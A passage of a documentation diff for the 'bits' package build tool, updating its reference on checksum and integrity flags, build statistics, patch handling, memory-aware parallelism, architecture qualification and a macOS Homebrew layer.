`write_checksums:` in the active defaults profile. | -| `--store-integrity` | Enable local tarball integrity verification. After each upload the tarball's SHA-256 is recorded in `$WORK_DIR/STORE_CHECKSUMS/`. On every subsequent recall from the remote store the digest is recomputed and compared; a mismatch is a fatal error. Disabled by default for backward compatibility. Can also be enabled persistently with `store_integrity = true` in `bits.rc`. See [§21 Store integrity verification](#store-integrity-verification). | -| `--provider-policy POLICY` | Control where each repository-provider's checkout is inserted into `BITS_PATH`. Format: comma-separated `name:position` pairs where `position` is `prepend` or `append`. Example: `--provider-policy bits-providers:prepend,myorg:append`. By default every provider is appended regardless of its recipe declaration. Can also be set in `bits.rc` as `provider_policy = …`. See [§13 Provider policy](#provider-policy). | -| `--from-manifest FILE` | Replay a build from a manifest JSON file. The `PACKAGE` positional argument is optional when this flag is given — bits uses the `requested_packages` field recorded in the manifest. Each recalled tarball is verified against the manifest's `tarball_sha256`. See [§25 Build Manifest](#25-build-manifest). | +| `--check-checksums` | Warn on source/patch checksum mismatch; continue the build. | +| `--enforce-checksums` | Abort on source/patch checksum mismatch or missing checksum. | +| `--print-checksums` | Print checksums for all sources/patches in YAML format after the build. | +| `--write-checksums` | Write or update `checksums/.checksum` after the build. | +| `--store-integrity` | Record and verify SHA-256 of every recalled tarball. Can also be set with `store_integrity = true` in `bits.rc`. See [§21 Store integrity verification](#store-integrity-verification). | +| `--provider-policy POLICY` | Control `BITS_PATH` insertion order for repository providers. Format: `name:prepend\|append` pairs. See [§13 Provider policy](#provider-policy). | +| `--from-manifest FILE` | Replay a build from a manifest JSON file; verifies each tarball against `tarball_sha256`. See [§25 Build Manifest](#25-build-manifest). | + +The three `--*-checksums` flags are mutually exclusive. Precedence (highest → lowest): `--print-checksums` > `--enforce-checksums` > `--check-checksums` > `checksum_mode:` in defaults profile > per-recipe `enforce_checksums: true` > `off`. `--write-checksums` is independent and can be combined with any of the above. See [§18 — Checksum policy in defaults profiles](#checksum-policy-in-defaults-profiles). -The three `--*-checksums` flags are mutually exclusive. Precedence (highest → lowest): `--print-checksums` > `--enforce-checksums` > `--check-checksums` > `checksum_mode:` in defaults profile > per-recipe `enforce_checksums: true` > `off`. `--write-checksums` is independent and can be combined with any of the above. Both `--print-checksums` and `--write-checksums` can also be set site-wide via `checksum_mode: print` and `write_checksums: true` in the active defaults profile (see [§18 — Checksum policy in defaults profiles](#checksum-policy-in-defaults-profiles)). +**Build-image requirement — `procps` (for `--build-nice` straggler boosting under `--docker`).** When `--build-nice` (on by default) boosts a long-running straggler compile in a `--docker`/podman build, it locates the offending process by running `ps` *inside* the build container (`docker exec … ps`). This requires the `ps` utility — provided by the **`procps`** package (`procps-ng` on RPM distros) — to be installed in the build image. If `ps` is not present, bits prints a one-time warning and disables in-container straggler renicing for the run; the build itself is unaffected. Build images intended for `bits build --docker` should therefore include `procps`. (Native, non-`--docker` builds use `psutil` on the host instead and do not need `ps` in any image.) --- @@ -1690,7 +874,7 @@ bits status [options] PACKAGE [PACKAGE...] ### bits verify -Check that a live deployment matches the build manifest written by `bits build`. See [§22c bits verify — Deployment Verification](#22c-bits-verify--deployment-verification) for full details. +Check that a live deployment matches the build manifest written by `bits build`. See [§23 bits verify — Deployment Verification](#23-bits-verify--deployment-verification) for full details. ```bash bits verify --from-manifest FILE [options] @@ -1708,6 +892,49 @@ bits verify --from-manifest FILE [options] --- +### bits stats + +Summarise the resource data recorded when a build ran with `--resource-monitoring` +(on by default for `--builders > 1`). Reads `/bits_build_stats.json` +(per-package peaks) and the per-package traces under `SPECS/` (for average CPU +and thread counts). + +**CPU-utilisation tuning hint.** At the end of a `--builders` run, bits estimates +the whole-run CPU utilisation (useful core-seconds ÷ cores × wall-clock) and the +average number of builders busy at once, and writes them under a `"tuning"` key +in `bits_build_stats.json` together with a `recommendation`. When there is +headroom (utilisation below ~90%) the recommendation is also printed at the end +of the build: if the builder slots were mostly full it suggests a higher +`--oversubscribe` (which raises each builder's `-j` without changing the memory +budget); if the slots were often empty it points at the dependency graph and +suggests more `--builders` and/or reusing prebuilt tarballs. + +```bash +bits stats [options] +``` + +| Option | Default | Description | +|--------|---------|-------------| +| `-w DIR`, `--work-dir DIR` | `sw` | Build work area to read stats from. | +| `--package NAME` | _(none)_ | Show the resource timeline detail for one package instead of the summary. | +| `--top N` | `10` | Number of packages in the table. | +| `--sort time\|rss\|cpu` | `time` | Sort the table by wall time, peak memory, or peak CPU. | +| `--json` | off | Emit machine-readable JSON instead of the text report. | + +The report leads with a headline (machine size, serial build time, peak memory, +longest build), then a top-N table (time / peak RSS / peak & average CPU / +threads / memory-per-thread), then **flags** that each point at a concrete fix. +`MEM/THR` is the worst-case peak RSS ÷ thread count: when it is high, the +recipe's `-j` parallelism multiplies it into a large footprint, so cap `JOBS` +or set `mem_per_job`. The flags: + +- **Under-threaded heavy build** — a long build using few cores on average → + the recipe probably isn't running parallel make; add `${JOBS:+-j$JOBS}`. +- **OOM risk** — a package whose peak RSS is a large fraction of RAM → set + `mem_per_job` on the recipe so the `--builders` scheduler reserves for it. + +--- + ### bits init `bits init` has two distinct modes selected by whether a PACKAGE name is given. @@ -1755,7 +982,7 @@ bits init --rc-file ~/.bitsrc --remote-store https://store.example.com/store | `--remote-store URL` | `remote_store` | Binary store to fetch pre-built tarballs from. | | `--write-store URL` | `write_store` | Binary store to upload newly-built tarballs to. | | `--providers URL` | `providers` | URL of the bits-providers repository (overrides `BITS_PROVIDERS`). | -| `--organisation NAME` | `organisation` | Organisation tag used by defaults profiles and recipe tooling. | +| `--organisation NAME` | `organisation` | Organisation selecting the registry/provider "home" repo. Also settable via the `BITS_ORGANISATION` environment variable (the `aliBuild` wrapper sets it). | | `-w DIR`, `--work-dir DIR` | `work_dir` | Default work/output directory (overrides `BITS_WORK_DIR`). | | `-a ARCH`, `--architecture ARCH` | `architecture` | Default target architecture. | | `--defaults PROFILE` | `defaults` | Default profile(s), `::` separated. | @@ -1776,6 +1003,8 @@ work_dir = /opt/sw organisation = MYORG ``` +> **Format note.** `bits.rc` keeps a single `[bits]` section with the canonical keys above. The old per-organisation `[NAME]` sections and the keys `sw_dir`, `repo_dir`, `search_path`, `pkg_prefix`, and `branding` are no longer accepted: `bits` detects such a file, prints the required renames (`sw_dir`→`work_dir`, `repo_dir`→`config_dir`, and so on), and exits. Display prefix and branding (`BITS_PKG_PREFIX`, `BITS_BRANDING`) and recipe search order (`BITS_PATH` / repository providers) are environment/provider concerns rather than `bits.rc` keys; the `aliBuild` wrapper sets the ALICE branding env vars automatically. + --- ### bits clean @@ -1879,7 +1108,17 @@ bits list # show currently loaded modules bits avail # raw modulecmd avail output ``` -`bits q` lists modules in `BITS_PKG_PREFIX@PKG::VERSION` format. The optional `REGEXP` is a case-insensitive extended regular expression. The modules directory is refreshed before listing. `bits avail` delegates directly to `modulecmd bash avail`. +`bits q` lists modules in the native `PKG/VERSION` form. When a display prefix is set in the environment (`BITS_PKG_PREFIX`, e.g. via the `aliBuild` wrapper) the output is reformatted to `PREFIX@PKG::VERSION` (so `aliBuild q` prints `VO_ALICE@zstd::1.5.7-local1`). The optional `REGEXP` is a case-insensitive extended regular expression. `bits q` reads the installed modulefiles straight from the work tree (reusing the fast CVMFS catalog path where applicable) — it does **not** rebuild the MODULES cache or spawn `modulecmd`, so it stays fast even with hundreds of packages. `bits avail` delegates directly to `modulecmd bash avail` (and does refresh the cache). + +**Fast listing on CVMFS.** Enumerating the install tree per file is expensive on +CVMFS (every directory test is a FUSE lookup). When the tree is served from +`/cvmfs` the refresh first tries the `bitsModules` helper, which reads the +serving catalog's content hash from the cvmfs `user.catalog_counters` xattr, +fetches that one catalog object over HTTP, and lists every entry from a single +local SQLite query — no per-file walk. It applies only when the queried path is +served by a single dedicated catalog rooted there with no deeper nested +catalogs; otherwise (and always off CVMFS) it falls back transparently to the +POSIX `find` walk, so behaviour is unchanged. --- @@ -1917,6 +1156,59 @@ bits architecture # print only the architecture string (e.g. ubuntu2204_x86-64 --- +### Work Directory Layout + +After `bits build ROOT` the work directory (`sw/` by default) has this structure: + +``` +sw/ +├── / ← architecture string (e.g. slc9_x86-64) +│ ├── / +│ │ ├── -/ ← installed package tree +│ │ │ ├── bin/, lib/, include/, etc/ +│ │ │ └── etc/profile.d/init.sh +│ │ └── latest -> - ← convenience symlink +│ └── //… ← same layout when package_family is set +│ +├── shared/ ← architecture-independent packages +│ └── /-/ +│ +├── BUILD/ ← temporary per-package build trees +│ └── / +│ ├── BUILD/ ← $BUILDDIR during compilation +│ ├── SOURCES/ ← source checkout ($SOURCEDIR) +│ └── log ← build log (kept on failure; removed on success) +│ +├── TARS/ ← content-addressed tarball store +│ └── / +│ ├── store/

//*.tar.gz +│ ├── / -> ../../store/… ← by-name symlinks +│ └── dist/, dist-direct/, dist-runtime/ ← dependency-set symlinks +│ +├── SOURCES/cache/ ← downloaded source archives (sources: field) +│ └──

// +│ +├── REPOS/ ← cached repository-provider checkouts +│ └── // ← recipe files live here +│ +├── MODULES/ ← modulefiles for bits enter / bits q +│ └── / +│ +├── SPECS/ ← generated build scripts +│ └── /// +│ +├── MANIFESTS/ ← build manifests (see §25) +│ ├── bits-manifest-.json +│ └── bits-manifest-latest.json ← symlink to most recent +│ +└── STORE_CHECKSUMS/ ← integrity ledger (opt-in, see §21) + └── TARS//store/…/.sha256 +``` + +`BUILD/` directories are removed after a successful build unless `--keep-tmp` is given. Use `bits clean` to remove stale `BUILD/` and `TMP/` trees, or `bits cleanup` to evict old packages from `/` and `TARS/` based on age or disk pressure. + +--- + ## 17. Recipe Format Reference ### File layout @@ -1952,7 +1244,8 @@ A recipe file consists of a YAML block, a `---` separator, and a Bash script: | `source` | Git or Sapling repository URL. The repository is cloned / updated into `$SOURCEDIR`. | | `tag` | Tag, branch, or commit to check out. Supports date substitutions (`%(year)s`, `%(month)s`, `%(day)s`, `%(hour)s`). | | `sources` | List of source archive URLs (or local `file://` paths) to download before the build. Each file is placed in `$SOURCEDIR` and exposed as `$SOURCE0`, `$SOURCE1`, … Each entry may optionally carry an inline checksum (see [Checksum verification](#checksum-verification) below). | -| `patches` | List of patch file names to apply, relative to the `patches/` directory inside the recipe repository. Patch files are copied to `$SOURCEDIR` and exposed as `$PATCH0`, `$PATCH1`, … before the recipe body runs. Each entry may optionally carry an inline checksum. | +| `patches` | List of patch file names to apply, relative to the `patches/` directory inside the recipe repository. Patch files are copied to `$SOURCEDIR` and exposed as `$PATCH0`, `$PATCH1`, … before the recipe body runs. Each entry may optionally carry an inline checksum and/or a conditional matcher — see [Conditional patches](#conditional-patches). | +| `auto_patch` | Whether bits applies the `patches:` automatically. Default `true` (unchanged behaviour). Set to `false` to take over patching in the recipe body: bits still stages the patch files in `$SOURCEDIR` and exports `$PATCH0..$PATCH_COUNT`, but runs no `patch(1)` and writes no `.bits_patched` sentinel, so the recipe owns ordering, strip level and idempotency. Can also be forced off for **every** package with the global `--no-auto-patch` flag or `auto_patch: false` in the active `defaults-*` file. See [Controlling patch application](#controlling-patch-application). | **Source archives detail.** When `sources:` is specified, bits downloads each archive to `$SOURCEDIR` using the file's basename as the local filename. Archives are not automatically unpacked — the recipe is responsible for extraction. The variable `$SOURCE_COUNT` holds the total count so scripts can handle a variable-length list: @@ -1984,6 +1277,147 @@ for i in $(seq 0 $(( PATCH_COUNT - 1 ))); do done ``` +##### Controlling patch application + +By default bits applies the `patches:` list automatically (with `patch -p1`) before +the recipe body runs, and writes a `.bits_patched` sentinel so incremental rebuilds +don't double-apply. Sometimes a recipe needs to patch differently — a non-default +strip level, a patch that must be applied *after* an in-tree code generation step, or +a source tree that has to be rearranged first. For those cases you can turn the +automatic application **off** and do it yourself; the patch files are still staged in +`$SOURCEDIR` and named by `$PATCH0..$PATCH_COUNT` either way. + +Three ways to disable automatic application, from most to least targeted: + +- **Per recipe** — add `auto_patch: false` to the recipe header. Only that package is + affected; everything else still auto-patches. This is almost always the right choice. +- **Whole build, command line** — pass `--no-auto-patch` to `bits build`. No package is + auto-patched for that invocation. +- **Whole build, defaults profile** — add `auto_patch: false` to a `defaults-*.sh` + file. Every build using that profile skips automatic patching. + +A global switch (CLI flag or defaults) wins over the per-recipe field, and **every +patched recipe** is then responsible for applying its own patches or it will build +against unpatched sources. + +When you take over, use the `bits_apply_patches` shell helper (available in every +recipe body) instead of hand-rolling the loop — it applies `$PATCH0..$PATCH_COUNT` in +order and is idempotent across incremental rebuilds: + +```yaml +package: mylib +version: "1.0" +sources: + - https://example.com/mylib-1.0.tar.gz +patches: + - fix-include-order.patch +auto_patch: false # bits stages the patches; we apply them ourselves +--- +#!/bin/bash -e +function Configure() { + cd "$SOURCEDIR" + bits_apply_patches # apply all staged patches with patch -p1 + # bits_apply_patches 0 # ...or a different strip level + ./configure --prefix="$INSTALLROOT" +} +``` + +The build hash already includes every patch's content, so toggling `auto_patch` (or +editing the recipe body that now applies them) triggers a rebuild as expected. + +##### Conditional patches + +A `patches:` entry may carry a `:matcher` suffix that gates whether the patch is +applied for a given build. This is the same matcher syntax used by conditional +`requires:`, plus a version comparison, and it is most useful when a patch only +applies to a particular upstream version: + +```yaml +version: "v40r4" +patches: + # only applied (and only hashed) when the resolved version is v40r2 + - "gaudi-GaudiToolbox.cmake.patch:version=v40r2" + # always applied + - gaudi-merge_confdb2_parts.patch +``` + +The matcher is evaluated against the **resolved** version (after defaults +`overrides:` and `requires:` pins), so the same recipe patches correctly whether +the version comes from the recipe, an override, or a pin. Inactive patches are +dropped *before* hashing, checkout and application, so they never affect the +build hash. + +Matcher atoms: + +- `version` — `op` is one of `=`, `==`, `!=`, `<`, `<=`, `>`, `>=`; + versions compare in **natural order** (`sort -V` semantics, so `v40r10 > v40r2`). +- `(?!osx)` / arch regex — matched against the architecture string (as in `requires:`). +- `defaults=` — active when the regex matches an active defaults profile. +- `(?VAR)` — active when the variable `VAR` is truthy (a defaults `variables:` + entry, or a `--flavour` — see [Flavours](#flavours)). + +Atoms combine with `&&` (all) and `||` (any); `||` has the lower precedence, e.g. +`version>=v40r2 && version` (matched against the active defaults). | +| `name = version` | Pin the dependency to `version` (sets both its `version` and `tag`). | +| `name = version:matcher` | Version pin that applies only when `matcher` is satisfied. | + +Only one version pin per dependency is allowed across the whole graph; conflicting pins (or a pin that arrives after the dependency was already resolved) abort the build. Prefer the defaults `overrides:` block (see [Configuration files](#configuration-files)) for version pinning; the in-recipe `= version` form is for constraints that belong to the consuming package. + #### Environment exported by this package | Field | Description | @@ -2013,16 +1458,28 @@ done | Field | Description | |-------|-------------| | `provides_repository` | Set to `true` to mark this recipe as a repository provider. | +| `tag` | The git ref of the provider repository to clone — a branch, tag, or commit hash. Selects which snapshot of the recipe repository is pulled (falls back to `version`, then the repo's default branch). The resolved commit hash is folded into every dependent's build hash. | | `always_load` | Set to `true` (alongside `provides_repository: true`) to clone this provider unconditionally at startup, before any dependency-graph traversal. Recipes in the provider's repository are then visible to all packages without requiring an explicit dependency. | | `repository_position` | `append` (default) or `prepend` — where to insert the cloned directory in `BITS_PATH`. | +The bits-providers repository URL itself accepts an `@` suffix (`BITS_PROVIDERS` / `--providers`, default branch otherwise), e.g. `https://github.com/bitsorg/bits-providers@LCG_106`. Because providers are cloned before defaults `overrides:` are applied, an `overrides:` entry cannot change which provider snapshot is fetched — use the provider recipe's `tag:` field or the `@` URL suffix. + #### Memory-aware parallelism +`$JOBS` for each package build is computed by `effective_jobs(requested, spec, builders)` and bounds two axes so that concurrent `--builders` jobs never oversubscribe the machine: + +- **CPU / load (all packages).** `$JOBS` is capped at `requested ÷ builders`, so the collective `-j` of all builders stays within the single-builder budget. This applies whether or not the recipe sets `mem_per_job`. +- **Memory (packages that set `mem_per_job`).** The available memory is split across the concurrent builders and divided by the per-job footprint. + +The result is `min(requested, requested ÷ builders, floor((available ÷ builders) × utilisation ÷ mem_per_job))`, floored at 1. With `--builders 1` the CPU cap is a no-op and behaviour is unchanged. + | Field | Description | |-------|-------------| -| `mem_per_job` | Expected peak RSS per parallel compilation process. Accepts a plain integer (MiB) or a string with a unit suffix: `512`, `"1500"`, `"1.5 GiB"`, `"2 GB"`. When set, bits samples available system memory at the start of the package's build and lowers `$JOBS` to `min(requested, floor(available × utilisation / mem_per_job))`. Omitting the field leaves `$JOBS` unchanged. | +| `mem_per_job` | Expected peak RSS per parallel compilation process. Accepts a plain integer (MiB) or a string with a unit suffix: `512`, `"1500"`, `"1.5 GiB"`, `"2 GB"`. When set, bits samples available system memory at the start of the package's build and applies the memory term above. Omitting the field leaves only the CPU/`builders` cap in effect. | | `mem_utilisation` | Fraction of available memory bits may commit, in the range `0.0`–`1.0`. Default: `0.9`. Only used when `mem_per_job` is also set. | +See also `--build-nice` ([§5 build options](#5-building-packages)) for staggering the *priority* of concurrent builders on top of these caps. + Examples: ```yaml @@ -2040,7 +1497,7 @@ When `provides_repository: true` is set, the package's `source` URL must point t | Field | Description | |-------|-------------| -| `sandbox_network` | Controls outgoing network access when the build script runs inside a sandbox. `on` (default) — network is **blocked**. `off` — network is **allowed** (useful for recipes that `pip install` or `gem install` at build time). Ignored when `--sandbox=off`. See [§22a Recipe Sandbox](#22a-recipe-sandbox). | +| `sandbox_network` | Controls outgoing network access when the build script runs inside a sandbox. `on` (default) — network is **blocked**. `off` — network is **allowed** (useful for recipes that `pip install` or `gem install` at build time). Ignored when `--sandbox=off`. See [§22.1 Recipe Sandbox](#221-recipe-sandbox). | Example: @@ -2144,107 +1601,7 @@ All sections are optional. The `tag` field holds the **pinned git commit SHA** e ### Build-time environment variables -These variables are set automatically inside each package's Bash build script. They cannot be overridden by the recipe; they are injected by `build_template.sh` before the recipe body is sourced. - -#### Core build paths - -| Variable | Purpose | -|----------|---------| -| `$INSTALLROOT` | Install all files here (the final installation prefix). The directory is created by bits before the recipe runs. | -| `$BUILDDIR` | Temporary build directory inside `$BUILDROOT`. Created automatically. | -| `$SOURCEDIR` | Checked-out (or prepared) source directory. For git sources this is the working tree. For archive sources this is the directory to which archives are downloaded. | -| `$BUILDROOT` | Parent of `$BUILDDIR`; corresponds to `BUILD//` in the work tree. | -| `$PKGPATH` | Relative path from the work directory to the install root, including any family segment: `[/]//-`. Useful for constructing paths in modulefiles. | - -#### Package identity - -| Variable | Purpose | -|----------|---------| -| `$PKGNAME` | Package name as declared in the recipe. | -| `$PKGVERSION` | Package version string. | -| `$PKGREVISION` | Build revision (integer, incremented on each local rebuild). | -| `$PKGHASH` | Unique content-addressable build hash (hex string). | -| `$PKGFAMILY` | Install family (empty string if no family is assigned). Set by `package_family` in the defaults profile; see [Package families](#package-families). | -| `$BUILD_FAMILY` | The full `build_family` string, which may include the defaults combination used. | - -#### Architecture - -| Variable | Purpose | -|----------|---------| -| `$ARCHITECTURE` | Build-platform architecture string (e.g. `ubuntu2204_x86-64`). Always reflects the real build host, even for shared packages. | -| `$EFFECTIVE_ARCHITECTURE` | Effective installation architecture. Equals `$ARCHITECTURE` for normal packages; equals `shared` for packages marked `architecture: shared`. Use this in paths that should land under the shared tree. | - -#### Parallelism - -| Variable | Purpose | -|----------|---------| -| `$JOBS` | Number of parallel compilation jobs. Derived from `-j ` and optionally reduced by `mem_per_job` / `mem_utilisation` if the system has less free memory than the requested parallelism would require. Always pass this to `make`, `cmake --build`, `ninja`, etc. | - -#### Source archives - -When the recipe uses the `sources:` field, bits downloads each archive to `$SOURCEDIR` before the recipe runs and sets: - -| Variable | Purpose | -|----------|---------| -| `$SOURCE0` | Filename (basename) of the first archive. | -| `$SOURCE1` | Filename of the second archive (if present). | -| `$SOURCEn` | Filename of the *n*-th archive (zero-indexed). | -| `$SOURCE_COUNT` | Total number of source archives. `0` when no `sources:` field is present. | - -Example usage: - -```bash -# Unpack the primary archive -tar -xzf "$SOURCEDIR/$SOURCE0" -C "$BUILDDIR" - -# Unpack a supplementary data archive -if [ "$SOURCE_COUNT" -gt 1 ]; then - tar -xzf "$SOURCEDIR/$SOURCE1" -C "$BUILDDIR/data" -fi -``` - -#### Patch files - -When the recipe uses the `patches:` field, the patch files are made available in `$SOURCEDIR` and: - -| Variable | Purpose | -|----------|---------| -| `$PATCH0` | Filename (basename) of the first patch file. | -| `$PATCH1` | Filename of the second patch file (if present). | -| `$PATCHn` | Filename of the *n*-th patch file (zero-indexed). | -| `$PATCH_COUNT` | Total number of patch files. `0` when no `patches:` field is present. | - -Applying patches in a build script: - -```bash -cd "$SOURCEDIR" -for i in $(seq 0 $(( PATCH_COUNT - 1 ))); do - eval patch_file="\$PATCH$i" - patch -p1 < "$SOURCEDIR/$patch_file" -done -``` - -#### Dependencies - -| Variable | Purpose | -|----------|---------| -| `$REQUIRES` | Space-separated list of runtime + build-time dependencies for this package. | -| `$BUILD_REQUIRES` | Space-separated list of build-time-only dependencies. | -| `$RUNTIME_REQUIRES` | Space-separated list of runtime-only dependencies. | -| `$FULL_REQUIRES` | Full transitive closure of `requires` (all levels). | -| `$FULL_BUILD_REQUIRES` | Full transitive closure of `build_requires`. | -| `$FULL_RUNTIME_REQUIRES` | Full transitive closure of `runtime_requires`. | - -For each dependency `DEP` that has been built, bits also sets `${DEP_ROOT}` to the absolute install path of that dependency, so recipes can reference dependency files directly (e.g. `$ZLIB_ROOT/include/zlib.h`). - -#### Miscellaneous - -| Variable | Purpose | -|----------|---------| -| `$COMMIT_HASH` | The git commit SHA that was checked out for the `source:` field. | -| `$INCREMENTAL_BUILD_HASH` | Non-zero when an incremental recipe is in use (development mode). | -| `$DEVEL_PREFIX` | Non-empty for development packages (the directory name of the devel source tree). | -| `$BITS_SCRIPT_DIR` | Absolute path to the bits installation directory. Useful for referencing helpers shipped with bits. | +For the complete reference of all variables injected by bits into each package build script, see [§20 Environment Variables — Recipe build-time variables](#20-environment-variables). The key variables are `$INSTALLROOT`, `$BUILDDIR`, `$SOURCEDIR`, `$JOBS`, `$PKGNAME`, `$PKGHASH`, `$SOURCE0`/`$SOURCEn`, `$PATCH0`/`$PATCHn`, and `${DEP_ROOT}` for each dependency. --- @@ -2344,7 +1701,8 @@ package_family: | `overrides` | Dict keyed by package name or regex. Each value is a YAML fragment merged into that package's spec after it is parsed. Keys are matched case-insensitively as `re.fullmatch` patterns, so regex metacharacters work. | | `valid_defaults` | Restricts which profiles this recipe is compatible with. Each component of the `::` list is checked independently; bits aborts if any component is absent from the list. | | `package_family` | Optional install grouping; see [Package families](#package-families) below. | -| `qualify_arch` | Set to `true` to append the defaults combination to the install architecture string; see [Qualifying the install architecture](#qualifying-the-install-architecture) below. | +| `qualify_arch` | Set to `true` to append **all** non-`release` default names to the install architecture string; see [Qualifying the install architecture](#qualifying-the-install-architecture) below. | +| `append_arch` | String value appended to the install architecture string **only for this defaults file**. Unlike `qualify_arch`, which qualifies with every default name in the chain, `append_arch` lets each file opt in independently and choose the exact string to append; see [Selective qualification with append_arch](#selective-qualification-with-append_arch) below. | | `checksum_mode` | Base checksum verification policy for every build using this profile. Accepted values: `off` (default), `warn`, `enforce`, `print`. Equivalent to passing the corresponding `--*-checksums` flag on every invocation. CLI flags override this setting; see [Checksum policy in defaults profiles](#checksum-policy-in-defaults-profiles) below. | | `write_checksums` | Set to `true` to automatically write/update `checksums/.checksum` files after every build. Equivalent to passing `--write-checksums` on every invocation. The CLI flag overrides this setting. | @@ -2485,15 +1843,42 @@ An existing recipe repository with no `package_family` key will produce bit-for- --- +### Qualifying the install architecture +By default all packages built with any set of defaults land under the same architecture directory (e.g. `sw/slc7_x86-64/`). If you maintain two profiles that are **incompatible with each other** — for example `gcc12` and `gcc13` — builds from one profile will silently overwrite the install tree of the other. ---- +Bits provides two complementary mechanisms to add a qualifying suffix to the architecture string. Both produce a combined string of the form `-`, which is then used for the install tree, tarballs, and `init.sh` generation. -### Qualifying the install architecture +#### How the combined architecture is used -By default all packages built with any set of defaults land under the same architecture directory (e.g. `sw/slc7_x86-64/`). If you maintain two profiles that are **incompatible with each other** — for example `gcc12` and `gcc13` — builds from one profile will silently overwrite the install tree of the other. +Whichever mechanism is active, the derived string is used consistently for: + +- **Install tree** — `sw///-/` +- **`BITS_ARCH_PREFIX` default** in every `init.sh` — so the environment resolves to the right prefix at runtime +- **`$EFFECTIVE_ARCHITECTURE`** passed to the build script +- **`TARS//`** symlink directories and store paths — ensuring tarballs from different defaults combinations do not collide + +The original platform architecture (`slc7_x86-64`) is still passed to the build script as **`$ARCHITECTURE`** (used for platform detection such as the macOS `${ARCHITECTURE:0:3}` check) and to system-package preference matching, so build scripts need no changes. + +Packages that declare `architecture: shared` (see [§20](#20-architecture-independent-shared-packages)) are **unaffected** by either mechanism: their effective architecture is always `shared` regardless of which defaults are active. + +##### Entering a qualified-architecture build -Setting `qualify_arch: true` in a defaults file instructs bits to **append the defaults combination to the architecture string**, producing a unique install prefix per combination. For example: +The module frontend (`bits enter`/`q`/`load`) auto-detects only the **raw** +architecture, so when a build was qualified you must point it at the combined +string. After a successful qualified build the success banner prints the exact +command, e.g. `bits -a slc7_x86-64-dev-gcc13 enter MyPackage/latest-…`, and +suggests `export BITS_ARCHITECTURE=slc7_x86-64-dev-gcc13` to make it the default +for the session. As a convenience, when `-a` is not given and the detected raw +architecture has no install tree under the work dir, the frontend uses the sole +architecture present (if there is exactly one) or warns and lists them (if +several) instead of silently picking one. An explicit `-a` is always respected. + +--- + +#### Global qualification with `qualify_arch` + +Setting `qualify_arch: true` in **any** defaults file instructs bits to append **every non-`release` default name** in the chain to the architecture string. For example: ``` bits build --defaults dev::gcc13 MyPackage @@ -2507,43 +1892,79 @@ sw/slc7_x86-64-dev-gcc13/ instead of the plain `sw/slc7_x86-64/`. The `release` component is never appended (it is the implicit baseline); all other components are joined with `-` in the order they appear on the command line. -#### How it works - -After merging all defaults files, bits calls `compute_combined_arch()` to derive the effective install prefix: - -```python -compute_combined_arch(defaultsMeta, args.defaults, raw_arch) -# e.g. ("slc7_x86-64", ["dev", "gcc13"]) → "slc7_x86-64-dev-gcc13" +```yaml +# defaults-gcc13.sh +package: defaults-gcc13 +version: v1 +qualify_arch: true # ← all non-release defaults are appended +env: + CC: gcc-13 + CXX: g++-13 ``` -This combined string is used for: - -- **Install tree** — `sw///-/` -- **`BITS_ARCH_PREFIX` default** in every `init.sh` — so the environment resolves to the right prefix at runtime -- **`$EFFECTIVE_ARCHITECTURE`** passed to the build script -- **`TARS//`** symlink directories and store paths — tarballs are keyed on the combined arch, ensuring they do not collide with tarballs from builds using a different defaults combination +The trade-off is that **every** default in the chain contributes to the suffix. With a long chain like `--defaults release::base::gcc13::cuda`, the install tree becomes `slc7_x86-64-base-gcc13-cuda` — which may include components (like `base`) that do not actually affect binary compatibility. -The original platform architecture (`slc7_x86-64`) is still passed to the build script as **`$ARCHITECTURE`** (used for platform detection such as the macOS `${ARCHITECTURE:0:3}` check) and to system-package preference matching, so build scripts need no changes. +--- -Packages that declare `architecture: shared` (see [§20](#20-architecture-independent-shared-packages)) are **unaffected** by `qualify_arch`: their effective architecture is always `shared` regardless of which defaults are active. +#### Selective qualification with `append_arch` -#### Example defaults file +`append_arch` is a per-file alternative that gives each defaults file independent control over its contribution to the architecture suffix. Only files that declare `append_arch` add anything to the suffix; the rest are transparent. ```yaml +# defaults-gcc13.sh package: defaults-gcc13 version: v1 -qualify_arch: true # ← enables per-defaults isolation +append_arch: gcc13 # ← only this file contributes "gcc13" env: CC: gcc-13 CXX: g++-13 ``` +```yaml +# defaults-release.sh +package: defaults-release +version: v1 + # ← no append_arch → contributes nothing +``` + +With `--defaults release::gcc13`, the effective architecture is: + +``` +sw/slc7_x86-64-gcc13/ +``` + +`release` adds nothing because it has no `append_arch`. If `defaults-cuda.sh` also declares `append_arch: cuda`, then `--defaults release::gcc13::cuda` produces `slc7_x86-64-gcc13-cuda` — only the two files that opted in contribute, in chain order. + +The value of `append_arch` is used **verbatim** and need not match the filename. This lets you decouple the defaults filename from the suffix token: + +```yaml +# defaults-gcc13-lto.sh +package: defaults-gcc13-lto +version: v1 +append_arch: gcc13-lto # ← custom suffix, not derived from the filename +``` + +**Precedence:** when any defaults file in the chain uses `append_arch`, the `append_arch` mechanism takes full control — `qualify_arch` is ignored. This keeps the behaviour predictable when both fields appear in a mixed chain. + +--- + +#### Comparison + +| | `qualify_arch` | `append_arch` | +|---|---|---| +| Granularity | Global — one file enables it for the whole chain | Per-file — each file opts in independently | +| Suffix content | Every non-`release` default name | Only the explicit `append_arch` values | +| Suffix token | Default filename | Arbitrary string set by the author | +| Precedence | Fallback (used when no `append_arch` present) | Takes precedence when any file uses it | + +--- + #### Cleaning up The `bits clean` command accepts an explicit `-a`/`--architecture` flag. To clean a qualified-arch tree, pass the combined string: ``` -bits clean -a slc7_x86-64-dev-gcc13 +bits clean -a slc7_x86-64-gcc13 ``` @@ -2554,6 +1975,41 @@ bits clean -a slc7_x86-64-dev-gcc13 If a file named `defaults-.sh` exists in the recipe repository (e.g. `defaults-osx_arm64.sh`), bits silently loads it and merges its header on top of the already-merged profile, skipping the `package` key to avoid a name clash. This is the mechanism for per-platform tweaks such as disabling packages that do not build on a particular OS. +--- + +### macOS Homebrew system layer + +macOS is a developer platform for bits — it does not build or publish CVMFS +tarballs there, so stable low-level system libraries and build tools are sourced +from **Homebrew** rather than built. A recipe opts in via its YAML header: + +```yaml +homebrew_formula: readline # one formula, or a list +homebrew_taps: # optional, rarely needed + - some/tap +``` + +`bits brew` scans the recipes and writes a Brewfile (default +`/macos/Brewfile`) listing every declared formula that applies to +the target architecture. Two ways to install them: + +- **Build node (all up front):** `brew bundle --file macos/Brewfile`. +- **Individual user (on demand):** `bits build --brew …`. With `--brew`, a + recipe's `prefer_system_check` (which runs unsandboxed during dependency + resolution and sees `BITS_BREW=1`) runs `brew install ` only for a + formula a package actually being built needs and that is missing. + +The build phase itself is 